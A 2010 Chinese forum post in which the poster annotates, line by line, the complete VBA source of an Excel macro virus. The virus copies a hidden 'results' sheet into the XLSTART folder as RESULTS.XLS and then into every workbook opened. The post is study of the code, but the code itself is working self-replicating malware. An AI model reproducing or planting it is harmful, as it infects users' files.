|
楼主 |
发表于 2010-2-19 15:19
|
显示全部楼层
<p><font color="#ff0000">按我山寨的理解,将大部分代码作了注释,不知对不对,请大家斧正。</font></p><p></p><p>Sub auto_open()<br/> Application.OnSheetActivate = "ck_files" '这个auto_open,是文件打开自动执行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。<br/>End Sub</p><p>Sub ck_files()<br/> c$ = Application.StartupPath '取得xlstart文件夹的路径<br/> m$ = Dir(c$ & "\" & "RESULTS.XLS") '取得results.xls文件名<br/> If m$ = "RESULTS.XLS" Then p = 1 Else p = 0 '如果result文件不存在,m$是""<br/> If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 '判断活动工作簿的模块数量。这个活动工作簿,不是results.xls,是你正常打开的那个工作簿。<br/> whichfile = p + w * 10 '这个whichfile变量,是10的话,就是当前活动工作簿有模块,而xlstart中没有resutlts.xls,是1的话,则相反。<br/> Select Case whichfile<br/> Case 10 '当前活动工作簿有模块,而xlstart中没有resutlts.xls执行以下代码<br/> Application.ScreenUpdating = False<br/> n4$ = ActiveWorkbook.Name<br/> Sheets("results").Visible = True<br/> Sheets("results").Select<br/> Sheets("results").Copy '将results工作表 copy 出来,新建一个工作簿。这个工作簿就是下面的活动工作簿了。<br/> With ActiveWorkbook<br/> .Title = "" '帮助中说这是保存为网页时,文档的名称,现在是空白的。<br/> .Subject = "" '帮助中说这是发邮件时,作为邮件主题<br/> .Author = "" '文档作者<br/> .Keywords = "" '关键词<br/> .Comments = "" '注释<br/> End With<br/> newname$ = ActiveWorkbook.Name<br/> c4$ = CurDir() '得到当前驱动器路径,比如C:\,E:\<br/> ChDir Application.StartupPath '改变路径到xlstart<br/> ActiveWindow.Visible = False<br/> Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _<br/> , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _<br/> False, CreateBackup:=False '关键的地方,由于新建工作簿包含results,而xlstart文件夹中没有,所以将新建工作簿以results.xls名保存在xlstart文件夹中。<br/> ChDir c4$ '保存结束,重新转入到原来正常使用的工作簿的路径<br/> Workbooks(n4$).Sheets("results").Visible = False '隐藏results工作表<br/> Application.OnSheetActivate = "" '如果你原来就有onsheetactivate的变量,这儿被它改了。<br/> Application.ScreenUpdating = True<br/> Application.OnSheetActivate = "RESULTS.XLS!ck_files" '每次将工作表变动一下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。<br/> Case 1 '当前活动工作簿没有模块,而xlstart中有resutlts.xls<br/> Application.ScreenUpdating = False<br/> n4$ = ActiveWorkbook.Name<br/> p4$ = ActiveWorkbook.Path<br/> s$ = Workbooks(n4$).Sheets(1).Name<br/> If s$ <> "results" Then '如果你使用的工作簿第一个工作表不是results,那么它就插入病毒文件了。<br/> Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)<br/> Workbooks(n4$).Sheets("results").Visible = False<br/> Else<br/> End If<br/> Application.OnSheetActivate = ""<br/> Application.ScreenUpdating = True<br/> Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/> Case Else<br/>End Select<br/>End Sub</p><p></p> |
|